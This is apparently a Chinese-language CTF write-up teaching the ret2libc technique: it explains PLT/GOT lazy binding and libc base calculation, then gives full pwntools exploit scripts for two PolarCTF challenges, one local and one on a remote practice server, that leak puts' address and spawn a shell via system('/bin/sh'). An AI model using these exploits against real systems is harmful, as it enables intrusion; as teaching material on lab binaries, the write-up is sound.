这次我们又碰到新问题了,假如程序没有 system 函数和 /bin/sh 怎么办?
system,/bin/sh 可以去 libc 里找,libc是Linux新系统下的C函数库,其中就会有system()函数、"/bin/sh"字符串。
那么问题来了,如何找到 libc 里的 system 函数和 /bin/sh 字符串呢?
函数的真实地址 = 基地址 + 偏移地址
libc 库中存放的就是这些函数的偏移地址。只要确定了libc库的版本,就可以确定其中system()函数、"/bin/sh"字符串的偏移地址。
libc 版本如何确定?
好那么好,假设这时候 libc 库的版本确定了,频移地址也就确定了,那么该如何得到基地址呢?
这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址 - 函数func的偏移地址
如何找到某个函数func的真实地址呢?
我们可以利用 puts(),write() 这样的函数把某个函数 func 真实地址打印出来,怎么打印?
这就得了解一下 plt 表和 got 表和 Linux的延迟绑定机制了。
Pwn基础:PLT&GOT表以及延迟绑定机制 (qq.com)
Basic-ROP (yuque.com)
可执行二进制程序调用函数A时,会先找到函数A对应的PLT表,PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A,GOT表还未更新,会先去公共PLT进行一番操作查找函数A的位置,找到A的位置后再更新A的GOT表,并调用函数A。当第二次执行函数A时,此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用
简单来说就是程序第一次调用某个函数 got 表里放的还不是 这个函数的真实地址,但是第二次调用 got 表放的是 这个函数的真实地址了。
所以
这次运行程序的基地址 = 运行过的某个函数func的真实地址 - 函数func的偏移地址
运行多次的某个函数func的真实地址 = got表中 func 的地址
然后同过打印函数泄露 运行过的某个函数func的真实地址。
下面本地打几道例题
polarctf 的 Game
进入程序我们发现题目要我们输出两次 yes ,然后再输入一次字符,然后程序输出我们打印的字符串。
随机生成 200 个字符串看一下要写多少脏数据
出现了段错误,提示程序跳转到了0x62616164的位置,那么我们只要找到这个0x62616164在cyclic生成的字符串中的哪个位置即可:
cyclic -l 0x62616164
计算缓冲区到返回地址的偏移量为 112
我们可以发现 puts 函数运行过了,所以就用 puts 了,分别拿 puts 的 plt 表和 got 表的对应地址。
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
输出发现其实就是 ida 里的 .plt 和 .got.plt
构造 payload 打印 puts 函数真实地址
padding = 112
star_addr = 0x080485F4
payload = b'a'*padding + p32(puts_plt) + p32(star_addr) + p32(puts_got)
这里执行完返回地址是 star 函数,这样发送 payload2 的时候就不用再敲两次 yes 了。
r = process('./Game')
r.sendlineafter('Do you play game?\n',b'yes')
r.sendlineafter('Do you think playing games will affect your learning?\n',b'yes')
r.sendlineafter('I think the same as you!\n',payload)
r.recvline() #接受一下程序无用的打印值
puts_real_addr = u32(r.recv(4)) # 接收四个字节然后解包
打印一下真实地址
print(hex(puts_real_addr))
拿着后面三位去 LibcSearcher 搜一下 libc 的版本,由于仅仅打本地,那么我们只要找到本地的libc就可以了。用ldd命令。
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = puts_real_addr - libc.symbols['puts'] # 获取基地址
system_addr = libc_base + libc.symbols["system"] # 获取 system 地址
binsh_addr = libc_base + next(libc.search(b"/bin/sh")) # 获取 /bin/sh 地址 ,因为字符串一堆,所以用 next 拿取第一个 /bin/sh
然后就是基本的 payload 构造了
payload2 = b'a'*padding + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
还记得我们第一个 payload 设置执行完 puts 后的返回地址是 star
所以
r.sendlineafter('I think the same as you!\n',payload2)
r.interactive()
拿到 shell
这次打一下远程靶机,直接上题 polarctf 的 sleep。
先计算偏移量,丢入 200 字节脏数据
看到main函数的返回地址已经被覆盖成了 0x6261616762616166,计算得 120
可以看到 puts 已经用过一次了,所以就用 puts 来输出 puts 的真实地址了。然后得到基址
找 pop rdi ;ret
ROPgadget --binary ./sleep --only "pop|ret"|grep rdi
from pwn import *
# io = process('./sleep')
io = remote("120.46.59.242",2068)
elf = ELF('./sleep')
padding = 120
rdi_ret = 0x400783
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4006F6
payload = b'a'*120 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload)
real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) # 由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节
print(hex(real_addr))
得到真实地址,后三位 6a0
0x7f32c9c876a0
然后去 libcdatabase,找到然后下载下来
libc = ELF('/root/Desktop/libc/amd64/libc6_2.23-0ubuntu11.3_amd64.so')
base_addr = real_addr - libc.symbols['puts']
sys_addr = base_addr + libc.symbols['system']
binsh_addr = base_addr + next(libc.search(b"/bin/sh"))
payload2 = b'a'*120 + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr) + p64(0xdeadbeef)
io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload2)
io.interactive()
完整代码
from pwn import *
# io = process('./sleep')
io = remote("120.46.59.242",2068)
elf = ELF('./sleep')
padding = 120
rdi_ret = 0x400783
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4006F6
payload = b'a'*120 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload)
real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('/root/Desktop/libc/amd64/libc6_2.23-0ubuntu11.3_amd64.so')
base_addr = real_addr - libc.symbols['puts']
sys_addr = base_addr + libc.symbols['system']
binsh_addr = base_addr + next(libc.search(b"/bin/sh"))
payload2 = b'a'*120 + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr) + p64(0xdeadbeef)
io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload2)
io.interactive()